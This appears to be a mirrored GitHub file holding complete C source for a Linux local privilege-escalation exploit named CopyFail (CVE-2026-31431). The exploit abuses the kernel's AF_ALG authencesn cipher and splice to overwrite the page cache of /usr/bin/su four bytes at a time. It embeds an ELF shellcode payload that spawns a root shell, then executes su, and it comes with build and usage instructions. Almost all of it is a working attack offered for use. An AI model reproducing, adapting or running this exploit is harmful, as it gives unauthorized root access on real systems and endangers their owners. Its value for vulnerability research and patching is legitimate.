mirror of
https://github.com/4xura/CVE-2026-31431-Copy-Fail.git
synced 2026-05-26 05:10:50 +00:00
274 lines
No EOL
9.6 KiB
C
274 lines
No EOL
9.6 KiB
C
/**
|
|
* Title : CopyFail CVE-2026-31431 Linux LPE exploit
|
|
* Date : 2026-05-15
|
|
* Author : Axura (@4xura) - https://4xura.com
|
|
*
|
|
* Description:
|
|
* ------------
|
|
* Uses AF_ALG + authencesn(hmac(sha256),cbc(aes)) to turn a 4-byte
|
|
* destination-side scratch write into a page-cache overwrite primitive.
|
|
* The exploit places the controlled 4-byte value in AAD[4:8], splices a
|
|
* file-backed page range into the AEAD request, triggers decrypt, and
|
|
* repeats that primitive until the replacement payload is staged into the
|
|
* target executable's page cache.
|
|
*
|
|
* Usage:
|
|
* ------
|
|
* gcc -static -Wall -Wextra -O2 -o exploit exploit.c
|
|
* ./exploit
|
|
* DEBUG=1 ./exploit
|
|
* ./exploit <target_basename>
|
|
*
|
|
* Notes:
|
|
* ------
|
|
* Replace PAYLOAD_BYTES with the final replacement byte sequence to stage
|
|
* into the target executable for arbitrary code execution.
|
|
* The default target is /usr/bin/su. Authentication failure during recv()
|
|
* is expected; the exploit only requires authencesn() to execute far enough
|
|
* for the 4-byte scratch write to occur before the error is returned.
|
|
* Provided for educational use. Use responsibly.
|
|
*
|
|
*/
|
|
|
|
#define _GNU_SOURCE
|
|
|
|
#include <arpa/inet.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <linux/if_alg.h>
|
|
#include <linux/rtnetlink.h>
|
|
#include <stdint.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/socket.h>
|
|
#include <unistd.h>
|
|
|
|
enum {
|
|
CRYPTO_AUTHENC_KEYA_UNSPEC,
|
|
CRYPTO_AUTHENC_KEYA_PARAM,
|
|
};
|
|
|
|
struct crypto_authenc_key_param {
|
|
uint32_t enckeylen;
|
|
};
|
|
|
|
static int debug_enabled;
|
|
|
|
static void die(const char *msg)
|
|
{
|
|
perror(msg);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
/*
|
|
* [ SHELLCODE ]
|
|
* Replacement bytes to stage into the target executable.
|
|
*
|
|
* Each loop iteration below consumes 4 bytes from this array and turns them
|
|
* into one page-cache overwrite primitive.
|
|
*/
|
|
static const unsigned char PAYLOAD_BYTES[] = {
|
|
/* TODO: insert replacement bytes here (default: exec("/bin/sh)) */
|
|
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
|
};
|
|
|
|
static const size_t PAYLOAD_LEN = sizeof(PAYLOAD_BYTES);
|
|
|
|
static void open_authencesn_socket(int *tfm_fd, int *op_fd)
|
|
{
|
|
struct {
|
|
struct rtattr rta;
|
|
struct crypto_authenc_key_param param;
|
|
unsigned char keys[16 + 16];
|
|
} keyblob = {
|
|
.rta = {
|
|
.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
|
|
.rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
|
|
},
|
|
.param = {
|
|
.enckeylen = htonl(16),
|
|
},
|
|
};
|
|
|
|
struct sockaddr_alg sa = {
|
|
.salg_family = AF_ALG,
|
|
.salg_type = "aead",
|
|
.salg_name = "authencesn(hmac(sha256),cbc(aes))",
|
|
};
|
|
|
|
memset(keyblob.keys, 0x00, sizeof(keyblob.keys));
|
|
|
|
*tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
|
|
if (*tfm_fd < 0)
|
|
die("socket(AF_ALG)");
|
|
|
|
if (bind(*tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
|
|
die("bind(authencesn)");
|
|
|
|
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_KEY,
|
|
&keyblob, sizeof(keyblob)) < 0)
|
|
die("setsockopt(ALG_SET_KEY)");
|
|
|
|
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE,
|
|
NULL, 4) < 0)
|
|
die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
|
|
|
|
*op_fd = accept(*tfm_fd, NULL, NULL);
|
|
if (*op_fd < 0)
|
|
die("accept");
|
|
}
|
|
|
|
static void queue_aad(int op_fd, const unsigned char chunk[4])
|
|
{
|
|
unsigned char aad[8] = { 'A', 'A', 'A', 'A', chunk[0], chunk[1], chunk[2], chunk[3] };
|
|
unsigned char ivbuf[sizeof(struct af_alg_iv) + 16] = {0};
|
|
unsigned char cbuf[
|
|
CMSG_SPACE(sizeof(uint32_t)) +
|
|
CMSG_SPACE(sizeof(ivbuf)) +
|
|
CMSG_SPACE(sizeof(uint32_t))
|
|
] = {0};
|
|
struct af_alg_iv *iv = (void *)ivbuf;
|
|
struct iovec iov = {
|
|
.iov_base = aad,
|
|
.iov_len = sizeof(aad),
|
|
};
|
|
struct msghdr msg = {
|
|
.msg_iov = &iov,
|
|
.msg_iovlen = 1,
|
|
.msg_control = cbuf,
|
|
.msg_controllen = sizeof(cbuf),
|
|
};
|
|
struct cmsghdr *cmsg;
|
|
uint32_t op = 0; /* ALG_OP_DECRYPT */
|
|
uint32_t assoclen = 8;
|
|
|
|
/*
|
|
* AAD layout:
|
|
*
|
|
* +------+------+------+------+------+------+------+------+
|
|
* | A | A | A | A | w0 | w1 | w2 | w3 |
|
|
* +------+------+------+------+------+------+------+------+
|
|
*
|
|
* Bytes 4..7 become seqno_lo, which authencesn later writes.
|
|
*/
|
|
iv->ivlen = 16;
|
|
|
|
cmsg = CMSG_FIRSTHDR(&msg);
|
|
cmsg->cmsg_level = SOL_ALG;
|
|
cmsg->cmsg_type = ALG_SET_OP;
|
|
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
|
|
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
|
|
|
|
cmsg = CMSG_NXTHDR(&msg, cmsg);
|
|
cmsg->cmsg_level = SOL_ALG;
|
|
cmsg->cmsg_type = ALG_SET_IV;
|
|
cmsg->cmsg_len = CMSG_LEN(sizeof(ivbuf));
|
|
memcpy(CMSG_DATA(cmsg), ivbuf, sizeof(ivbuf));
|
|
|
|
cmsg = CMSG_NXTHDR(&msg, cmsg);
|
|
cmsg->cmsg_level = SOL_ALG;
|
|
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
|
|
cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
|
|
memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));
|
|
|
|
if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
|
|
die("sendmsg(AAD)");
|
|
}
|
|
|
|
static void splice_target_window(int file_fd, int op_fd, off_t target_offset)
|
|
{
|
|
int pipefd[2];
|
|
loff_t splice_off = 0;
|
|
size_t splice_len = (size_t)target_offset + 4;
|
|
|
|
/*
|
|
* Imported layout:
|
|
*
|
|
* file[0 : target_offset] -> ciphertext region
|
|
* file[target_offset : +4] -> preserved tag tail
|
|
*
|
|
* authsize = 4 makes those last 4 imported bytes sit exactly where
|
|
* authencesn later performs its scratch write.
|
|
*/
|
|
if (pipe(pipefd) < 0)
|
|
die("pipe");
|
|
|
|
if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
|
|
die("splice(file -> pipe)");
|
|
|
|
if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
|
|
die("splice(pipe -> AF_ALG)");
|
|
|
|
close(pipefd[0]);
|
|
close(pipefd[1]);
|
|
}
|
|
|
|
static void trigger_decrypt(int op_fd, off_t target_offset)
|
|
{
|
|
size_t rx_len = (size_t)target_offset + 8;
|
|
unsigned char *outbuf = malloc(rx_len);
|
|
ssize_t n;
|
|
|
|
if (!outbuf)
|
|
die("malloc(recv)");
|
|
|
|
n = recv(op_fd, outbuf, rx_len, 0);
|
|
|
|
if (debug_enabled && n < 0)
|
|
printf(" [-] recv() returned: %s\n", strerror(errno));
|
|
|
|
free(outbuf);
|
|
}
|
|
|
|
static void overwrite_4_bytes(int file_fd, off_t target_offset, const unsigned char chunk[4])
|
|
{
|
|
int tfm_fd, op_fd;
|
|
|
|
if (debug_enabled) {
|
|
printf("[+] overwrite @ 0x%llx: %02x%02x%02x%02x\n",
|
|
(unsigned long long)target_offset,
|
|
chunk[0], chunk[1], chunk[2], chunk[3]);
|
|
}
|
|
|
|
open_authencesn_socket(&tfm_fd, &op_fd);
|
|
queue_aad(op_fd, chunk);
|
|
splice_target_window(file_fd, op_fd, target_offset);
|
|
trigger_decrypt(op_fd, target_offset);
|
|
close(op_fd);
|
|
close(tfm_fd);
|
|
}
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
const char *target = "/usr/bin/su";
|
|
int file_fd;
|
|
size_t i;
|
|
|
|
if (getenv("DEBUG"))
|
|
debug_enabled = 1;
|
|
|
|
if (argc > 1) {
|
|
static char path[256];
|
|
snprintf(path, sizeof(path), "/usr/bin/%s", argv[1]);
|
|
target = path;
|
|
}
|
|
|
|
printf("[+] target : %s\n", target);
|
|
printf("[+] payload : %zu bytes\n", PAYLOAD_LEN);
|
|
printf("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n");
|
|
|
|
file_fd = open(target, O_RDONLY);
|
|
if (file_fd < 0)
|
|
die("open(target)");
|
|
|
|
for (i = 0; i < PAYLOAD_LEN; i += 4)
|
|
overwrite_4_bytes(file_fd, (off_t)i, PAYLOAD_BYTES + i);
|
|
|
|
close(file_fd);
|
|
|
|
printf("[+] payload staged into page cache, executing target...\n");
|
|
execl("/bin/su", "su", NULL);
|
|
die("execl(su)");
|
|
return 0;
|
|
} |